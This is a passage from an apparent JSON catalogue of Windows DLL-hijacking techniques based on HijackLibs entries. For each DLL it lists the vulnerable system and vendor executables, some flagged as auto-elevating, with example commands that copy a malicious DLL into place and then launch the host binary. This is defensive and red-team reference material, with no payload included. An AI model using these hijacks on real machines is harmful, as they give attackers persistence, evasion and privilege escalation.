        "url": "https://www.virustotal.com/gui/file/e5e53392b29b74545e463b65052e0b6b07e8299d709f07501fb0f31b97a679ab/details"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/a278d5604a93e93a5580845da93af6c316a37a4cd35c1fc9348958ae1bebdb90/details"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/104ca4690b0ff17eb55e1330c5baf5580a731b6834f0716c483e646d6030855c/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/010f55aef8ccba2ea1307d934decd577a08fa21547d1db30e01f3ae5ff1cce07/relations"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/skinutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious slc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\slc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\msinfo32.exe\\\"\"\n\n# slc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\msinfo32.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\packageinspector.exe (Sideloading)\n- %SYSTEM32%\\phoneactivate.exe (Sideloading)\n- %SYSTEM32%\\slui.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-slc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "slc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "slc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-slc",
    "name": "slc.dll",
    "namespace": "windows:dllhijack:slc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/slc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious smadhook32c.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Smadav\\\\smadhook32c.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Smadav\\\\SmadHook.exe\\\"\"\n\n# smadhook32c.dll\n\n**Vendor:** Smadav\n\n**Expected Location:** %PROGRAMFILES%\\Smadav\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Smadav\\SmadHook.exe (Sideloading)\n",
    "_source": "windows-dllhijack-smadhook32c.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "smadhook32c.dll — Sideloading hijacking (Smadav)",
    "execution": {
      "template": "smadhook32c.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-smadhook32c",
    "name": "smadhook32c.dll",
    "namespace": "windows:dllhijack:smadhook32c",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/smadhook32c.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious snmpapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\snmpapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\arp.exe\\\"\"\n\n# snmpapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\arp.exe (Sideloading)\n- %SYSTEM32%\\netstat.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-snmpapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "snmpapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "snmpapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-snmpapi",
    "name": "snmpapi.dll",
    "namespace": "windows:dllhijack:snmpapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/snmpapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious spectrumsyncclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\spectrumsyncclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\spectrum.exe\\\"\"\n\n# spectrumsyncclient.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\spectrum.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-spectrumsyncclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "spectrumsyncclient.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "spectrumsyncclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-spectrumsyncclient",
    "name": "spectrumsyncclient.dll",
    "namespace": "windows:dllhijack:spectrumsyncclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/spectrumsyncclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious spp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\spp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rstrui.exe\\\"\"\n\n# spp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rstrui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\srtasks.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-spp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "spp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "spp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-spp",
    "name": "spp.dll",
    "namespace": "windows:dllhijack:spp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/spp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sppc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\sppc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\msinfo32.exe\\\"\"\n\n# sppc.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\msinfo32.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\packageinspector.exe (Sideloading)\n- %SYSTEM32%\\slui.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-sppc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sppc.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "sppc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sppc",
    "name": "sppc.dll",
    "namespace": "windows:dllhijack:sppc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sppc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sppcext.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\sppcext.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\phoneactivate.exe\\\"\"\n\n# sppcext.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\phoneactivate.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-sppcext.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sppcext.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "sppcext.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sppcext",
    "name": "sppcext.dll",
    "namespace": "windows:dllhijack:sppcext",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sppcext.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sqlite.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Adobe\\\\Acrobat Reader DC\\\\Reader\\\\sqlite.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Adobe\\\\Acrobat Reader DC\\\\Reader\\\\AcroBroker.exe\\\"\"\n\n# sqlite.dll\n\n**Vendor:** Adobe\n\n**Expected Location:** %PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\AcroBroker.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-sqlite.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sqlite.dll — Sideloading hijacking (Adobe)",
    "execution": {
      "template": "sqlite.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sqlite",
    "name": "sqlite.dll",
    "namespace": "windows:dllhijack:sqlite",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/802bad293e5d5e75ffac3df3dd5301315a886534011871275a1b41c9cec1f298"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sqlite.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious srclient.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\srclient.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\srtasks.exe\\\"\"\n\n# srclient.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\srtasks.exe (Sideloading)\n- %SYSTEM32%\\tiworker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-srclient.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "srclient.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "srclient.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-srclient",
    "name": "srclient.dll",
    "namespace": "windows:dllhijack:srclient",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://blog.vonahi.io/srclient-dll-hijacking/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/srclient.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious srcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\srcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rstrui.exe\\\"\"\n\n# srcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rstrui.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\srtasks.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-srcore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "srcore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "srcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-srcore",
    "name": "srcore.dll",
    "namespace": "windows:dllhijack:srcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/srcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious srmtrace.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\srmtrace.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dirquota.exe\\\"\"\n\n# srmtrace.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dirquota.exe (Sideloading)\n- %SYSTEM32%\\filescrn.exe (Sideloading)\n- %SYSTEM32%\\storrept.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-srmtrace.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "srmtrace.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "srmtrace.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system"
    ],
    "id": "windows-dllhijack-srmtrace",
    "name": "srmtrace.dll",
    "namespace": "windows:dllhijack:srmtrace",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/srmtrace.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious srpapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\srpapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\appidpolicyconverter.exe\\\"\"\n\n# srpapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\appidpolicyconverter.exe (Sideloading)\n- %SYSTEM32%\\mshta.exe (Sideloading)\n- %SYSTEM32%\\rdpclip.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-srpapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "srpapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "srpapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-srpapi",
    "name": "srpapi.dll",
    "namespace": "windows:dllhijack:srpapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/srpapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious srvcli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\srvcli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\change.exe\\\"\"\n\n# srvcli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\change.exe (Sideloading)\n- %SYSTEM32%\\chglogon.exe (Sideloading)\n- %SYSTEM32%\\chgport.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\dsdbutil.exe (Sideloading)\n- %SYSTEM32%\\driverquery.exe (Sideloading)\n- %SYSTEM32%\\eventcreate.exe (Sideloading)\n- %SYSTEM32%\\getmac.exe (Sideloading)\n- %SYSTEM32%\\gpresult.exe (Sideloading)\n- %SYSTEM32%\\ksetup.exe (Sideloading)\n- %SYSTEM32%\\net.exe (Sideloading)\n- %SYSTEM32%\\net1.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n- %SYSTEM32%\\openfiles.exe (Sideloading)\n- %SYSTEM32%\\query.exe (Sideloading)\n- %SYSTEM32%\\quser.exe (Sideloading)\n- %SYSTEM32%\\qwinsta.exe (Sideloading)\n- %SYSTEM32%\\reset.exe (Sideloading)\n- %SYSTEM32%\\rwinsta.exe (Sideloading)\n- %SYSTEM32%\\shrpubw.exe (Sideloading)\n- %SYSTEM32%\\spaceagent.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\taskkill.exe (Sideloading)\n- %SYSTEM32%\\tasklist.exe (Sideloading)\n- %SYSTEM32%\\tscon.exe (Sideloading)\n- %SYSTEM32%\\tskill.exe (Sideloading)\n- %SYSTEM32%\\waitfor.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-srvcli.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "srvcli.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "srvcli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-srvcli",
    "name": "srvcli.dll",
    "namespace": "windows:dllhijack:srvcli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/srvcli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ssp.exe_rsaenh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ssp.exe_rsaenh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rmactivate\\\"\"\n\n# ssp.exe_rsaenh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rmactivate (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ssp-exe-rsaenh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ssp.exe_rsaenh.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "ssp.exe_rsaenh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ssp-exe-rsaenh",
    "name": "ssp.exe_rsaenh.dll",
    "namespace": "windows:dllhijack:ssp-exe-rsaenh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ssp-exe-rsaenh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ssp_isv.exe_rsaenh.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ssp_isv.exe_rsaenh.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\rmactivate\\\"\"\n\n# ssp_isv.exe_rsaenh.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\rmactivate (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ssp-isv-exe-rsaenh.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ssp_isv.exe_rsaenh.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "ssp_isv.exe_rsaenh.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ssp-isv-exe-rsaenh",
    "name": "ssp_isv.exe_rsaenh.dll",
    "namespace": "windows:dllhijack:ssp-isv-exe-rsaenh",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ssp-isv-exe-rsaenh.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious sspicli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\sspicli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\at.exe\\\"\"\n\n# sspicli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\at.exe (Sideloading)\n- %SYSTEM32%\\bitsadmin.exe (Sideloading)\n- %SYSTEM32%\\bootcfg.exe (Sideloading)\n- %SYSTEM32%\\calc.exe (Sideloading)\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\computerdefaults.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\credentialenrollmentmanager.exe (Sideloading)\n- %SYSTEM32%\\customshellhost.exe (Sideloading)\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dialer.exe (Sideloading)\n- %SYSTEM32%\\driverquery.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\eduprintprov.exe (Sideloading)\n- %SYSTEM32%\\eventcreate.exe (Sideloading)\n- %SYSTEM32%\\fodhelper.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\ftp.exe (Sideloading)\n- %SYSTEM32%\\getmac.exe (Sideloading)\n- %SYSTEM32%\\gpresult.exe (Sideloading)\n- %SYSTEM32%\\iesettingsync.exe (Sideloading)\n- %SYSTEM32%\\klist.exe (Sideloading)\n- %SYSTEM32%\\ksetup.exe (Sideloading)\n- %SYSTEM32%\\ldp.exe (Sideloading)\n- %SYSTEM32%\\logman.exe (Sideloading)\n- %SYSTEM32%\\mdeserver.exe (Sideloading)\n- %SYSTEM32%\\msdt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\mshta.exe (Sideloading)\n- %SYSTEM32%\\msra.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\mtstocom.exe (Sideloading)\n- %SYSTEM32%\\muiunattend.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\openfiles.exe (Sideloading)\n- %SYSTEM32%\\perfmon.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\pinenrollmentbroker.exe (Sideloading)\n- %SYSTEM32%\\presentationsettings.exe (Sideloading)\n- %SYSTEM32%\\psr.exe (Sideloading)\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n- %SYSTEM32%\\rdpsa.exe (Sideloading)\n- %SYSTEM32%\\rpcping.exe (Sideloading)\n- %SYSTEM32%\\runas.exe (Sideloading)\n- %SYSTEM32%\\sdclt.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\setx.exe (Sideloading)\n- %SYSTEM32%\\shutdown.exe (Sideloading)\n- %SYSTEM32%\\systeminfo.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\takeown.exe (Sideloading)\n- %SYSTEM32%\\taskkill.exe (Sideloading)\n- %SYSTEM32%\\tasklist.exe (Sideloading)\n- %SYSTEM32%\\waitfor.exe (Sideloading)\n- %SYSTEM32%\\whoami.exe (Sideloading)\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n- %SYSTEM32%\\wlrmdr.exe (Sideloading)\n- %SYSTEM32%\\compmgmtlauncher.exe (Environment Variable)\n- %SYSTEM32%\\rasphone.exe (Environment Variable)\n- %LOCALAPPDATA%\\Microsoft\\OneDrive\\OneDrive.exe (Sideloading)\n- %PROGRAMFILES%\\Microsoft OneDrive\\OneDrive.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Terry Liggett\n",
    "_source": "windows-dllhijack-sspicli.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "sspicli.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "sspicli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-sspicli",
    "name": "sspicli.dll",
